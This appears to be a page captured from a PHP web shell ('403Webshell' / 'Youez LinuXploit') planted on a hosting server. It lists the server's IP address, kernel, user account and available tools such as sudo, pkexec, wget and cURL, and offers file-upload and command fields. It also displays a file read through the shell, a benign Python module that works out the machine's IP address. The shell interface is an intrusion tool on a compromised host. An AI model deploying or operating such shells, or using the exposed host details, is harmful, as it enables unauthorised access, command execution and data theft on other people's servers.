403Webshell
Server IP : 68.178.202.69  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux 69.202.178.68.host.secureserver.net 3.10.0-1160.139.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Nov 3 13:30:41 UTC 2025 x86_64
User : ikioworld ( 1005)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/opt/nydus/ops/customer_local_ops/util/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/opt/nydus/ops/customer_local_ops/util/constants.py
# -*- coding: utf-8 -*-

"""This module holds constants needed for primordial."""

try:
    import fcntl
except ImportError:
    pass  # Windows
import ipaddress
import struct
import socket


CANONICAL_TIMESTRING_FORMAT = '%Y-%m-%dT%H:%M:%S.%fZ'
"Standard format for time strings."
CANONICAL_TIMESTRING_FORMAT_NO_ZULU = '%Y-%m-%dT%H:%M:%S.%f'
"Standard format for time strings without a trailing Z."
CANONICAL_TIMESTRING_FORMAT_NO_MICROSECONDS = '%Y-%m-%dT%H:%M:%SZ'
"Strandard format for time strings without microseconds."


def getIP() -> str:
    """Get the IP address of this machine."""
    try:
        ips = [ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith("127.")]
        if ips:
            for ip in ips:
                if ipaddress.ip_address(str(ip)).is_private:
                    return ip
            return ips[0]
    except socket.gaierror:
        pass

    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        ipstr = struct.pack('256s'.encode('ascii'), 'eth0'.encode('ascii'))
        return socket.inet_ntoa(
            fcntl.ioctl(s.fileno(), 0x8915, ipstr)[20:24])
    except (IOError, RuntimeError, socket.gaierror):
        return '127.0.0.1'


IP = getIP()
"The IP address of this machine on which this is running."

Youez - 2016 - github.com/yon3zu
LinuXploit